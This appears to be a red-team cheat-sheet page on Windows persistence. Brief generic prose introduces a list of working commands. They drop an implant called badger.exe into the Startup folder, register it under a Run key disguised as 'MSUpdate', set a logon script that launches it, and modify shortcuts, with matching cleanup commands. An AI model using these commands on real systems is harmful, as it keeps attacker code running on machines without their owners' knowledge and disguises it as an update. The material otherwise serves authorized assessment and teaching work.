Persistence

Why it matters in practice

Within Internal Operations, Persistence changes how scope, prerequisites and evidence should be handled. Focus on the concrete asset or data flow under test, record the assumptions that make the condition exploitable and connect verified behavior to an operational consequence and remediation decision.

This note keeps Persistence tied to offensive workflow: what to observe, what to prove, what usually goes wrong, and which references remain useful once an assessment moves from planning into active validation.

Primary coverage

The coverage below turns Persistence into an assessment map for Internal Operations: identify the relevant system boundary, select a safe validation path, preserve evidence and record uncertainty before drawing a conclusion.

• Persistence
• User context
• Persistence via startup folder
• Persistence via starup folder delete
• Persistence via registry run keys
• Persistence via registry run keys delete
• Persistence via logon scripts
• Logon.bat
• Persistence via logon scripts delete
• Persistence via shortcut modification

Assessment focus

copy c:\tools\badger.exe "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup"

del "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\badger.exe"

reg query "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run"
reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run"
 /v MSUpdate /t REG_SZ /d c:\tools\badger.exe /f

reg delete "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v MSUpdate /f

reg add "HKEY_CURRENT_USER\Environment" /v UserInitMprLogonScript /d "c:\tools\logon.bat" /t REG_SZ /f

@ECHO OFF

C:\tools\badger.exe%

reg delete "HKEY_CURRENT_USER\Environment" /v UserInitMprLogonScript /f

wscript c:\tools\makelnk.vbs

Selected public references

• Nmap Reference Guidenmap.org/book/man.html
• BloodHound Documentationbloodhound.specterops.io/
• GitHub · fortra / Impacketgithub.com/fortra/impacket
• MITRE ATT&CKattack.mitre.org/